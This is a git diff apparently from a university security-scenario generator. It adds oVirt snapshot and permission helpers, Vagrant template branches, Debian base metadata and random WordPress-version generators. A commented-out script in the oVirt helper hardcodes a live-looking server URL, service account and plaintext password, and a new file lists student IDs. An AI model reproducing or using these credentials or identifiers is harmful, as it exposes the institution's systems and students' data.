diff --git a/Gemfile b/Gemfile
index 0f10e8512..2143b1258 100644
--- a/Gemfile
+++ b/Gemfile
@@ -12,7 +12,7 @@ gem 'mini_exiftool_vendored'
gem 'rmagick'
gem 'sshkey'
gem 'zipruby'
-gem 'zip'
+gem 'zip-zip'
gem 'credy'
gem 'pg'
gem 'cinch'
diff --git a/ads_students b/ads_students
new file mode 100644
index 000000000..4f9b8bb78
--- /dev/null
+++ b/ads_students
@@ -0,0 +1 @@
+c7154611,c3490435,c7149970,c7143104,c3457952,c3469799,c3414724,c3468394,c3433289,c3449827,c3452857,c3453527,c3459645,c3415781,c3403979,c7154207,c3461096,c3417960,c3468276,c3455839,c3395252,c3456658,c3461575,c3456985,c3471283,c3423870,c3449257,c3439405,c3433131,c3420038,c3455252,c3415736,c3465826,c3435127,c3470033,c3443008,c7144911,c3462292,c3445741,c3417771,c3433249,c3465220,c3468727,c3428394,c3426517,c3447995,c3420408,c3426667,c3470438,c3458366,c7166386,c3444619,c3422400,c3418906,c3457557,c3449023,c3444030,c3346276,c3454728,c3405964,c3466737,c3428565,c7129185,c3396733,c3440450,c3451999,c3459500,c3422916
\ No newline at end of file
diff --git a/lib/batch/batch_secgen.rb b/lib/batch/batch_secgen.rb
index 8e4e65321..5e9a2c1d6 100644
--- a/lib/batch/batch_secgen.rb
+++ b/lib/batch/batch_secgen.rb
@@ -119,7 +119,7 @@ def get_delete_opts
end
def parse_opts(opts)
- options = {:instances => '', :max_threads => 3, :id => nil, :all => false}
+ options = {:instances => '', :max_threads => 5, :id => nil, :all => false}
opts.each do |opt, arg|
case opt
when '--instances'
diff --git a/lib/helpers/ovirt.rb b/lib/helpers/ovirt.rb
index f849294a7..b358541e2 100644
--- a/lib/helpers/ovirt.rb
+++ b/lib/helpers/ovirt.rb
@@ -6,6 +6,16 @@ require_relative './print.rb'
class OVirtFunctions
+ # TODO supply this as a parameter/option instead
+ def self.authz
+ '@aet.leedsbeckett.ac.uk-authz'
+ end
+
+ # @param [Hash] options -- command-line opts
+ # @return [Boolean] is this secgen process using oVirt as the vagrant provider?
+ def self.provider_ovirt?(options)
+ options[:ovirtuser] and options[:ovirtpass] and options[:ovirturl]
+ end
# Helper for removing VMs which Vagrant lost track of, i.e. exist but are reported as 'have not been created'.
# @param [String] destroy_output_log -- logfile from vagrant destroy process which contains loose VMs
@@ -64,6 +74,22 @@ class OVirtFunctions
end
end
+ def self.get_userrole_role(ovirt_connection)
+ roles_service(ovirt_connection).list.each do |role_item|
+ if role_item.name == "UserRole"
+ return role_item
+ end
+ end
+ end
+
+ def self.roles_service(ovirt_connection)
+ ovirt_connection.system_service.roles_service
+ end
+
+ def self.users_service(ovirt_connection)
+ ovirt_connection.system_service.users_service
+ end
+
def self.vms_service(ovirt_connection)
ovirt_connection.system_service.vms_service
end
@@ -110,9 +136,95 @@ class OVirtFunctions
failures.uniq
end
- # @param [String] options -- command-line opts, contains oVirt username, password and url
+ def self.create_snapshot(options, scenario_path, vm_names)
+ vms = []
+ ovirt_connection = get_ovirt_connection(options)
+ ovirt_vm_names = build_ovirt_names(scenario_path, options[:prefix], vm_names)
+ ovirt_vm_names.each do |vm_name|
+ vms << vms_service(ovirt_connection).list(search: "name=#{vm_name}")
+ end
+
+ vms.each do |vm_list|
+ vm_list.each do |vm|
+ Print.std " VM: #{vm.name}"
+ # find the service that manages that vm
+ vm_service = vms_service(ovirt_connection).vm_service(vm.id)
+ Print.std " Creating snapshot: #{vm.name}"
+ begin
+ vm_service.snapshots_service.add(
+ OvirtSDK4::Snapshot.new(
+ description: "Automated snapshot: #{Time.new.to_s}"
+ )
+ )
+ rescue Exception => e
+ Print.err '****************************************** Skipping'
+ Print.err e.message
+ end
+ end
+ end
+ end
+
+ def self.assign_permissions(options, scenario_path, vm_names)
+ ovirt_connection = get_ovirt_connection(options)
+ username = options[:prefix].chomp
+ user = get_user(ovirt_connection, username)
+ if user
+ vms = []
+
+ ovirt_vm_names = build_ovirt_names(scenario_path, username, vm_names)
+ Print.std "Searching for VMs owned by #{username} #{ovirt_vm_names}"
+ ovirt_vm_names.each do |vm_name|
+ vms << vms_service(ovirt_connection).list(search: "name=#{vm_name}")
+ end
+
+ vms.each do |vm_list|
+ vm_list.each do |vm|
+ Print.std " Found VM: #{vm.name}"
+
+ # find the service that manages that vm
+ vm_service = vms_service(ovirt_connection).vm_service(vm.id)
+
+ # find the service that manages the permissions of that vm
+ perm_service = vm_service.permissions_service
+
+ # add a permission for that user to use that VM
+ perm_attr = {}
+ perm_attr[:comment] = 'Automatic assignment'
+ perm_attr[:role] = get_userrole_role(ovirt_connection)
+ perm_attr[:user] = user
+ Print.std " Adding permissions"
+ begin
+ perm_service.add OvirtSDK4::Permission.new(perm_attr)
+ rescue Exception => e
+ Print.err '****************************************** Skipping'
+ Print.err e.message
+ end
+ end
+ end
+ else
+ Print.info "No account with username #{username} found, skipping ..."
+ end
+ end
+
+ # @param [String] username
+ # @return [OvirtUser]
+ def self.get_user(ovirt_connection, username)
+ un = username.chomp
+ search_string = "usrname=#{un}#{authz}"
+ puts "Searching for VMs owned by #{un}"
+ user = users_service(ovirt_connection).list(search: search_string).first
+ if user
+ Print.std "Found user '#{un}' on oVirt"
+ user
+ else
+ Print.err "User #{un} not found"
+ nil
+ end
+ end
+
+ # @param [String] options -- command-line opts, contains oVirt username, password and url
def self.get_ovirt_connection(options)
- if options[:ovirtuser] and options[:ovirtpass] and options[:ovirturl]
+ if provider_ovirt?(options)
conn_attr = {}
conn_attr[:url] = options[:ovirturl]
conn_attr[:username] = options[:ovirtuser]
@@ -127,4 +239,104 @@ class OVirtFunctions
end
end
-end
\ No newline at end of file
+end
+
+## TODO: Remove me
+#
+## Included cliffe's permissions script to modify tomorrow!
+#
+# require 'ovirtsdk4'
+#
+# create_snapshots = true
+# assign_permissions = true
+#
+# authz = '@aet.leedsbeckett.ac.uk-authz'
+#
+# # read in the list of users (one username per line)
+# localuserslist = File.readlines('./userlist.complete')
+#
+# # connect to oVirt
+# conn_attr = {}
+# conn_attr[:url] = 'https://aet-ovirt.aet.leedsbeckett.ac.uk/ovirt-engine/api'
+# conn_attr[:username] = 'secgen@aet.leedsbeckett.ac.uk'
+# conn_attr[:password] = 'assay4?ravel'
+# conn_attr[:debug] = true
+# conn_attr[:headers] = {'Filter' => true }
+#
+# ovirt_connection = OvirtSDK4::Connection.new(conn_attr)
+# # get the service that manages the VMs
+# vms_service = ovirt_connection.system_service.vms_service
+# # puts vms_service.to_s
+#
+# # get the service that manages the users
+# users_service = ovirt_connection.system_service.users_service
+# # puts users_service.list
+#
+# # get the service that manages the roles
+# roles_service = ovirt_connection.system_service.roles_service
+# # puts roles_service.list
+#
+# # find the UserRole role
+# role = "";
+# roles_service.list().each do |role_item|
+# if role_item.name == "UserRole"
+# role = role_item
+# end
+# end
+#
+# # iterate through our local list of users
+# localuserslist.each do |username|
+# # find the user on oVirt
+# search_string = "usrname=#{username.chomp()}#{authz}"
+# puts "Searching for VMs owned by #{username.chomp()}"
+# user = users_service.list(search: search_string).first
+# # puts user.to_s
+#
+# if user
+# puts " Found user on oVirt"
+# # find any VMs we have access to that start with their username
+# vms = vms_service.list(search: "name=#{username.chomp()}-7-*")
+# vms.each do |vm|
+# puts " VM: #{vm.name}"
+#
+# # find the service that manages that vm
+# vm_service = vms_service.vm_service(vm.id)
+#
+# if assign_permissions
+# # find the service that manages the permissions of that vm
+# perm_service = vm_service.permissions_service
+#
+# # add a permission for that user to use that VM
+# perm_attr = {}
+# perm_attr[:comment] = 'Automatic assignment'
+# perm_attr[:role] = role
+# perm_attr[:user] = user
+# puts " Adding permissions"
+# begin
+# perm_service.add OvirtSDK4::Permission.new(perm_attr)
+# rescue Exception => e
+# puts "****************************************** Skipping"
+# puts e.message
+# end
+# end
+#
+# if create_snapshots
+# puts " Creating snapshot"
+# begin
+# vm_service.snapshots_service.add(
+# OvirtSDK4::Snapshot.new(
+# description: "Automated snapshot: #{Time.new.to_s}"
+# )
+# )
+# rescue Exception => e
+# puts "****************************************** Skipping"
+# puts e.message
+# end
+# end
+#
+# end
+# else
+# puts "Skipping missing user: #{username}"
+# end
+#
+# end
\ No newline at end of file
diff --git a/lib/objects/system.rb b/lib/objects/system.rb
index 322a1e519..212d300c9 100644
--- a/lib/objects/system.rb
+++ b/lib/objects/system.rb
@@ -28,7 +28,7 @@ class System
# @return [Object] the list of selected modules
def resolve_module_selection(available_modules, options)
retry_count = 0
-
+ begin
# Replace $IP_addresses with options ip_ranges if required
begin
if options[:ip_ranges] and $datastore['IP_addresses'] and !$datastore['replaced_ranges']
@@ -80,8 +80,6 @@ class System
exit
end
- begin
-
selected_modules = []
self.num_actioned_module_conflicts = 0
@@ -184,7 +182,7 @@ class System
end
# feed in input from any received datastores
- if selected.received_datastores != {}
+ if selected.received_datastores != {} and $datastore != {}
Print.verbose "Receiving datastores: #{selected.received_datastores}"
selected.received_datastores.each do |input_into, datastore_list|
datastore_list.each do |datastore_variablename_and_access_type|
diff --git a/lib/templates/Vagrantfile.erb b/lib/templates/Vagrantfile.erb
index 625788f33..c70cc8719 100644
--- a/lib/templates/Vagrantfile.erb
+++ b/lib/templates/Vagrantfile.erb
@@ -140,10 +140,12 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
<% if @ovirt_template and @ovirt_template.include? 'kali_linux_msf' %>
<%= system.name %>.vm.provision 'shell', inline: "echo \"auto lo\niface lo inet loopback\n\nauto eth0\niface eth0 inet static\n\taddress <%= resolve_network(selected_module)%>\" > /etc/network/interfaces"
<%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment"
- <% elsif @ovirt_template and @ovirt_template.include? 'debian_desktop_kde' %>
+ <% elsif @ovirt_template and (@ovirt_template.include? 'debian_desktop_kde') %>
<%= system.name %>.vm.provision 'shell', inline: "echo \"\nauto eth1\niface eth1 inet static\n\taddress <%= resolve_network(selected_module)%>\" >> /etc/network/interfaces"
- <%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment"
- <% else %>
+ <%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment"
+ <% elsif @ovirt_template and ( @ovirt_template.include? 'debian_stretch_server_n' or @ovirt_template.include? 'debian_stretch_desktop_kde') %>
+ <%= system.name %>.vm.provision 'shell', inline: "echo \"\nauto ens4\niface ens4 inet static\n\taddress <%= resolve_network(selected_module)%>\" >> /etc/network/interfaces"
+ <% else %>
<%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, :ovirt__ip => "<%= resolve_network(selected_module)%>", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>'
<% end %>
<% else %>
diff --git a/modules/bases/debian_stretch/secgen_metadata.xml b/modules/bases/debian_stretch/secgen_metadata.xml
new file mode 100644
index 000000000..5c852ff33
--- /dev/null
+++ b/modules/bases/debian_stretch/secgen_metadata.xml
@@ -0,0 +1,22 @@
+
+
+
+ Debian 9 Stretch Server
+ Thomas Shaw
+ GPLv3
+ For testing purposes, the default root password is puppet.
+ 64-bit
+ server
+ cli
+
+ linux
+ unix
+ Debian 9 (stretch) TODO: 32-bit (i386)
+ https://app.vagrantup.com/summernguyen/boxes/debian-stretch-puppet/versions/1.0.0/providers/virtualbox.box
+ debian_stretch_server_n
+
+ https://atlas.hashicorp.com/puppetlabs
+ various
+
diff --git a/modules/bases/debian_stretch_desktop_kde/secgen_metadata.xml b/modules/bases/debian_stretch_desktop_kde/secgen_metadata.xml
new file mode 100644
index 000000000..a99142fa0
--- /dev/null
+++ b/modules/bases/debian_stretch_desktop_kde/secgen_metadata.xml
@@ -0,0 +1,21 @@
+
+
+
+ Debian 9 Stretch Desktop KDE
+ Thomas Shaw
+ GPLv3
+ For testing purposes, the default root password is puppet.
+ 64-bit
+ desktop
+
+ linux
+ unix
+ Debian 9 (stretch) TODO: 32-bit (i386)
+ https://app.vagrantup.com/summernguyen/boxes/debian-stretch-puppet/versions/1.0.0/providers/virtualbox.box
+ debian_stretch_desktop_kde
+
+ https://atlas.hashicorp.com/puppetlabs
+ various
+
diff --git a/modules/generators/compression/zip/secgen_local/local.rb b/modules/generators/compression/zip/secgen_local/local.rb
index 66fe6a9cd..330bd38de 100644
--- a/modules/generators/compression/zip/secgen_local/local.rb
+++ b/modules/generators/compression/zip/secgen_local/local.rb
@@ -3,7 +3,7 @@ require_relative '../../../../../lib/objects/local_string_encoder.rb'
require 'rubygems'
require 'zip'
-class ZipFileGenerator < StringEncoder
+class ZipGenerator < StringEncoder
attr_accessor :file_name
attr_accessor :strings_to_leak
attr_accessor :password
@@ -64,4 +64,4 @@ class ZipFileGenerator < StringEncoder
end
end
-ZipFileGenerator.new.run
\ No newline at end of file
+ZipGenerator.new.run
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_1x/manifests/.no_puppet b/modules/generators/random/random_wordpress_1x/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_1x/random_wordpress_1x.pp b/modules/generators/random/random_wordpress_1x/random_wordpress_1x.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_1x/secgen_local/local.rb b/modules/generators/random/random_wordpress_1x/secgen_local/local.rb
new file mode 100644
index 000000000..f91dc5619
--- /dev/null
+++ b/modules/generators/random/random_wordpress_1x/secgen_local/local.rb
@@ -0,0 +1,18 @@
+#!/usr/bin/ruby
+require_relative '../../../../../lib/objects/local_string_generator.rb'
+
+class RandomWordpressVersion < StringGenerator
+ def initialize
+ super
+ self.module_name = 'Random Wordpress Version Generator'
+ end
+
+ def generate
+ one = ['1.5.2', '1.5.1.3', '1.5.1.2', '1.5.1.1', '1.5.1']
+ versions = one
+
+ outputs << versions.sample.chomp
+ end
+end
+
+RandomWordpressVersion.new.run
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_1x/secgen_metadata.xml b/modules/generators/random/random_wordpress_1x/secgen_metadata.xml
new file mode 100644
index 000000000..c009e6337
--- /dev/null
+++ b/modules/generators/random/random_wordpress_1x/secgen_metadata.xml
@@ -0,0 +1,20 @@
+
+
+
+ Random Wordpress 1x Version Generator
+ Thomas Shaw
+ MIT
+ Selects the version number of a random compatible WordPress version.
+
+ wordpress_version
+ string_generator
+ local_calculation
+ linux
+ windows
+
+ https://wordpress.org
+
+ generated_strings
+
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_2x/manifests/.no_puppet b/modules/generators/random/random_wordpress_2x/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_2x/random_wordpress_2x.pp b/modules/generators/random/random_wordpress_2x/random_wordpress_2x.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_2x/secgen_local/local.rb b/modules/generators/random/random_wordpress_2x/secgen_local/local.rb
new file mode 100644
index 000000000..8df904536
--- /dev/null
+++ b/modules/generators/random/random_wordpress_2x/secgen_local/local.rb
@@ -0,0 +1,18 @@
+#!/usr/bin/ruby
+require_relative '../../../../../lib/objects/local_string_generator.rb'
+
+class RandomWordpressVersion < StringGenerator
+ def initialize
+ super
+ self.module_name = 'Random Wordpress Version Generator'
+ end
+
+ def generate
+ two = ['2.9.2', '2.9.1', '2.9', '2.8.6', '2.8.5', '2.8.4', '2.8.3', '2.8.2', '2.8.1', '2.8', '2.7.1', '2.7', '2.6.5', '2.6.3', '2.6.2', '2.6.1', '2.6', '2.5.1', '2.5', '2.3.3', '2.3.2', '2.3.1', '2.3', '2.2.3', '2.2.2', '2.2.1', '2.2', '2.1.3', '2.1.2', '2.1.1', '2.1', '2.0.11', '2.0.10', '2.0.9', '2.0.8', '2.0.7', '2.0.6', '2.0.5', '2.0.4', '2.0.1', '2.0']
+ versions = two
+
+ outputs << versions.sample.chomp
+ end
+end
+
+RandomWordpressVersion.new.run
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_2x/secgen_metadata.xml b/modules/generators/random/random_wordpress_2x/secgen_metadata.xml
new file mode 100644
index 000000000..fbdfa21bb
--- /dev/null
+++ b/modules/generators/random/random_wordpress_2x/secgen_metadata.xml
@@ -0,0 +1,20 @@
+
+
+
+ Random Wordpress 2x Version Generator
+ Thomas Shaw
+ MIT
+ Selects the version number of a random compatible WordPress version.
+
+ wordpress_version
+ string_generator
+ local_calculation
+ linux
+ windows
+
+ https://wordpress.org
+
+ generated_strings
+
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_3x/manifests/.no_puppet b/modules/generators/random/random_wordpress_3x/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_3x/random_wordpress_3x.pp b/modules/generators/random/random_wordpress_3x/random_wordpress_3x.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_3x/secgen_local/local.rb b/modules/generators/random/random_wordpress_3x/secgen_local/local.rb
new file mode 100644
index 000000000..f28e7afb2
--- /dev/null
+++ b/modules/generators/random/random_wordpress_3x/secgen_local/local.rb
@@ -0,0 +1,17 @@
+#!/usr/bin/ruby
+require_relative '../../../../../lib/objects/local_string_generator.rb'
+
+class RandomWordpressVersion < StringGenerator
+ def initialize
+ super
+ self.module_name = 'Random Wordpress Version Generator'
+ end
+
+ def generate
+ three = ['3.9.23', '3.9.22', '3.9.21', '3.9.20', '3.9.19', '3.9.18', '3.9.17', '3.9.16', '3.9.15', '3.9.14', '3.9.13', '3.9.12', '3.9.11', '3.9.10', '3.9.9', '3.9.8', '3.9.7', '3.9.6', '3.9.5', '3.9.4', '3.9.3', '3.9.2', '3.9.1', '3.9', '3.8.25', '3.8.24', '3.8.23', '3.8.22', '3.8.21', '3.8.20', '3.8.19', '3.8.18', '3.8.17', '3.8.16', '3.8.15', '3.8.14', '3.8.13', '3.8.12', '3.8.11', '3.8.10', '3.8.9', '3.8.8', '3.8.7', '3.8.6', '3.8.5', '3.8.4', '3.8.3', '3.8.2', '3.8.1', '3.8', '3.7.25', '3.7.24', '3.7.23', '3.7.22', '3.7.21', '3.7.20', '3.7.19', '3.7.18', '3.7.17', '3.7.16', '3.7.15', '3.7.14', '3.7.13', '3.7.12', '3.7.11', '3.7.10', '3.7.9', '3.7.8', '3.7.7', '3.7.6', '3.7.5', '3.7.4', '3.7.3', '3.7.2', '3.7.1', '3.7', '3.6.1', '3.6', '3.5.2', '3.5.1', '3.5', '3.4.2', '3.4.1', '3.4', '3.3.3', '3.3.2', '3.3.1', '3.3', '3.2.1', '3.2', '3.1.4', '3.1.3', '3.1.2', '3.1.1', '3.1', '3.0.6', '3.0.5', '3.0.4', '3.0.3', '3.0.2', '3.0.1', '3.0']
+
+ outputs << three.sample.chomp
+ end
+end
+
+RandomWordpressVersion.new.run
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_3x/secgen_metadata.xml b/modules/generators/random/random_wordpress_3x/secgen_metadata.xml
new file mode 100644
index 000000000..bf9c0d33c
--- /dev/null
+++ b/modules/generators/random/random_wordpress_3x/secgen_metadata.xml
@@ -0,0 +1,20 @@
+
+
+
+ Random Wordpress 3x Version Generator
+ Thomas Shaw
+ MIT
+ Selects the version number of a random compatible WordPress version.
+
+ wordpress_version
+ string_generator
+ local_calculation
+ linux
+ windows
+
+ https://wordpress.org
+
+ generated_strings
+
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_4x/manifests/.no_puppet b/modules/generators/random/random_wordpress_4x/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_4x/random_wordpress_4x.pp b/modules/generators/random/random_wordpress_4x/random_wordpress_4x.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_4x/secgen_local/local.rb b/modules/generators/random/random_wordpress_4x/secgen_local/local.rb
new file mode 100644
index 000000000..5920d4372
--- /dev/null
+++ b/modules/generators/random/random_wordpress_4x/secgen_local/local.rb
@@ -0,0 +1,18 @@
+#!/usr/bin/ruby
+require_relative '../../../../../lib/objects/local_string_generator.rb'
+
+class RandomWordpressVersion < StringGenerator
+ def initialize
+ super
+ self.module_name = 'Random Wordpress Version Generator'
+ end
+
+ def generate
+ four = ['4.9.4', '4.9.3', '4.9.2', '4.9.1', '4.9', '4.8.5', '4.8.4', '4.8.3', '4.8.2', '4.8.1', '4.8', '4.7.9', '4.7.8', '4.7.7', '4.7.6', '4.7.5', '4.7.4', '4.7.3', '4.7.2', '4.7.1', '4.7', '4.6.10', '4.6.9', '4.6.8', '4.6.7', '4.6.6', '4.6.5', '4.6.4', '4.6.3', '4.6.2', '4.6.1', '4.6', '4.5.13', '4.5.12', '4.5.11', '4.5.10', '4.5.9', '4.5.8', '4.5.7', '4.5.6', '4.5.5', '4.5.4', '4.5.3', '4.5.2', '4.5.1', '4.5', '4.4.14', '4.4.13', '4.4.12', '4.4.11', '4.4.10', '4.4.9', '4.4.8', '4.4.7', '4.4.6', '4.4.5', '4.4.4', '4.4.3', '4.4.2', '4.4.1', '4.4', '4.3.15', '4.3.14', '4.3.13', '4.3.12', '4.3.11', '4.3.10', '4.3.9', '4.3.8', '4.3.7', '4.3.6', '4.3.5', '4.3.4', '4.3.3', '4.3.2', '4.3.1', '4.3', '4.2.19', '4.2.18', '4.2.17', '4.2.16', '4.2.15', '4.2.14', '4.2.13', '4.2.12', '4.2.11', '4.2.10', '4.2.9', '4.2.8', '4.2.7', '4.2.6', '4.2.5', '4.2.4', '4.2.3', '4.2.2', '4.2.1', '4.2', '4.1.22', '4.1.21', '4.1.20', '4.1.19', '4.1.18', '4.1.17', '4.1.16', '4.1.15', '4.1.14', '4.1.13', '4.1.12', '4.1.11', '4.1.10', '4.1.9', '4.1.8', '4.1.7', '4.1.6', '4.1.5', '4.1.4', '4.1.3', '4.1.2', '4.1.1', '4.1', '4.0.22', '4.0.21', '4.0.20', '4.0.19', '4.0.18', '4.0.17', '4.0.16', '4.0.15', '4.0.14', '4.0.13', '4.0.12', '4.0.11', '4.0.10', '4.0.9', '4.0.8', '4.0.7', '4.0.6', '4.0.5', '4.0.4', '4.0.3', '4.0.2', '4.0.1', '4.0']
+ versions = four
+
+ outputs << versions.sample.chomp
+ end
+end
+
+RandomWordpressVersion.new.run
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_4x/secgen_metadata.xml b/modules/generators/random/random_wordpress_4x/secgen_metadata.xml
new file mode 100644
index 000000000..849254890
--- /dev/null
+++ b/modules/generators/random/random_wordpress_4x/secgen_metadata.xml
@@ -0,0 +1,20 @@
+
+
+
+ Random Wordpress 4x Version Generator
+ Thomas Shaw
+ MIT
+ Selects the version number of a random compatible WordPress version.
+
+ wordpress_version
+ string_generator
+ local_calculation
+ linux
+ windows
+
+ https://wordpress.org
+
+ generated_strings
+
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_version/manifests/.no_puppet b/modules/generators/random/random_wordpress_version/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_version/random_wordpress_version.pp b/modules/generators/random/random_wordpress_version/random_wordpress_version.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/random/random_wordpress_version/secgen_local/local.rb b/modules/generators/random/random_wordpress_version/secgen_local/local.rb
new file mode 100644
index 000000000..935b5d161
--- /dev/null
+++ b/modules/generators/random/random_wordpress_version/secgen_local/local.rb
@@ -0,0 +1,21 @@
+#!/usr/bin/ruby
+require_relative '../../../../../lib/objects/local_string_generator.rb'
+
+class RandomWordpressVersion < StringGenerator
+ def initialize
+ super
+ self.module_name = 'Random Wordpress Version Generator'
+ end
+
+ def generate
+ one = ['1.5.2', '1.5.1.3', '1.5.1.2', '1.5.1.1', '1.5.1']
+ two = ['2.9.2', '2.9.1', '2.9', '2.8.6', '2.8.5', '2.8.4', '2.8.3', '2.8.2', '2.8.1', '2.8', '2.7.1', '2.7', '2.6.5', '2.6.3', '2.6.2', '2.6.1', '2.6', '2.5.1', '2.5', '2.3.3', '2.3.2', '2.3.1', '2.3', '2.2.3', '2.2.2', '2.2.1', '2.2', '2.1.3', '2.1.2', '2.1.1', '2.1', '2.0.11', '2.0.10', '2.0.9', '2.0.8', '2.0.7', '2.0.6', '2.0.5', '2.0.4', '2.0.1', '2.0']
+ three = ['3.9.23', '3.9.22', '3.9.21', '3.9.20', '3.9.19', '3.9.18', '3.9.17', '3.9.16', '3.9.15', '3.9.14', '3.9.13', '3.9.12', '3.9.11', '3.9.10', '3.9.9', '3.9.8', '3.9.7', '3.9.6', '3.9.5', '3.9.4', '3.9.3', '3.9.2', '3.9.1', '3.9', '3.8.25', '3.8.24', '3.8.23', '3.8.22', '3.8.21', '3.8.20', '3.8.19', '3.8.18', '3.8.17', '3.8.16', '3.8.15', '3.8.14', '3.8.13', '3.8.12', '3.8.11', '3.8.10', '3.8.9', '3.8.8', '3.8.7', '3.8.6', '3.8.5', '3.8.4', '3.8.3', '3.8.2', '3.8.1', '3.8', '3.7.25', '3.7.24', '3.7.23', '3.7.22', '3.7.21', '3.7.20', '3.7.19', '3.7.18', '3.7.17', '3.7.16', '3.7.15', '3.7.14', '3.7.13', '3.7.12', '3.7.11', '3.7.10', '3.7.9', '3.7.8', '3.7.7', '3.7.6', '3.7.5', '3.7.4', '3.7.3', '3.7.2', '3.7.1', '3.7', '3.6.1', '3.6', '3.5.2', '3.5.1', '3.5', '3.4.2', '3.4.1', '3.4', '3.3.3', '3.3.2', '3.3.1', '3.3', '3.2.1', '3.2', '3.1.4', '3.1.3', '3.1.2', '3.1.1', '3.1', '3.0.6', '3.0.5', '3.0.4', '3.0.3', '3.0.2', '3.0.1', '3.0']
+ four = ['4.9.4', '4.9.3', '4.9.2', '4.9.1', '4.9', '4.8.5', '4.8.4', '4.8.3', '4.8.2', '4.8.1', '4.8', '4.7.9', '4.7.8', '4.7.7', '4.7.6', '4.7.5', '4.7.4', '4.7.3', '4.7.2', '4.7.1', '4.7', '4.6.10', '4.6.9', '4.6.8', '4.6.7', '4.6.6', '4.6.5', '4.6.4', '4.6.3', '4.6.2', '4.6.1', '4.6', '4.5.13', '4.5.12', '4.5.11', '4.5.10', '4.5.9', '4.5.8', '4.5.7', '4.5.6', '4.5.5', '4.5.4', '4.5.3', '4.5.2', '4.5.1', '4.5', '4.4.14', '4.4.13', '4.4.12', '4.4.11', '4.4.10', '4.4.9', '4.4.8', '4.4.7', '4.4.6', '4.4.5', '4.4.4', '4.4.3', '4.4.2', '4.4.1', '4.4', '4.3.15', '4.3.14', '4.3.13', '4.3.12', '4.3.11', '4.3.10', '4.3.9', '4.3.8', '4.3.7', '4.3.6', '4.3.5', '4.3.4', '4.3.3', '4.3.2', '4.3.1', '4.3', '4.2.19', '4.2.18', '4.2.17', '4.2.16', '4.2.15', '4.2.14', '4.2.13', '4.2.12', '4.2.11', '4.2.10', '4.2.9', '4.2.8', '4.2.7', '4.2.6', '4.2.5', '4.2.4', '4.2.3', '4.2.2', '4.2.1', '4.2', '4.1.22', '4.1.21', '4.1.20', '4.1.19', '4.1.18', '4.1.17', '4.1.16', '4.1.15', '4.1.14', '4.1.13', '4.1.12', '4.1.11', '4.1.10', '4.1.9', '4.1.8', '4.1.7', '4.1.6', '4.1.5', '4.1.4', '4.1.3', '4.1.2', '4.1.1', '4.1', '4.0.22', '4.0.21', '4.0.20', '4.0.19', '4.0.18', '4.0.17', '4.0.16', '4.0.15', '4.0.14', '4.0.13', '4.0.12', '4.0.11', '4.0.10', '4.0.9', '4.0.8', '4.0.7', '4.0.6', '4.0.5', '4.0.4', '4.0.3', '4.0.2', '4.0.1', '4.0']
+ versions = one + two + three + four
+
+ outputs << versions.sample.chomp
+ end
+end
+
+RandomWordpressVersion.new.run
\ No newline at end of file
diff --git a/modules/generators/random/random_wordpress_version/secgen_metadata.xml b/modules/generators/random/random_wordpress_version/secgen_metadata.xml
new file mode 100644
index 000000000..927500e86
--- /dev/null
+++ b/modules/generators/random/random_wordpress_version/secgen_metadata.xml
@@ -0,0 +1,20 @@
+
+
+
+ Random Wordpress Version Generator
+ Thomas Shaw
+ MIT
+ Selects the version number of a random compatible WordPress version.
+
+ wordpress_version
+ string_generator
+ local_calculation
+ linux
+ windows
+
+ https://wordpress.org
+
+ generated_strings
+
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/hacker_vs_hackerbot_1and2.pp b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/hacker_vs_hackerbot_1and2.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_local/local.rb
new file mode 100644
index 000000000..22f12019d
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_local/local.rb
@@ -0,0 +1,55 @@
+#!/usr/bin/ruby
+require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb'
+
+class IDS < HackerbotConfigGenerator
+
+ attr_accessor :backup_server_ip
+ attr_accessor :ids_server_ip
+ attr_accessor :web_server_ip
+ attr_accessor :desktop_ip
+ attr_accessor :hackerbot_server_ip
+
+ def initialize
+ super
+ self.module_name = 'Hackerbot Config Generator HvHB1'
+ self.title = 'HvHB1'
+
+ self.local_dir = File.expand_path('../../',__FILE__)
+ self.templates_path = "#{self.local_dir}/templates/"
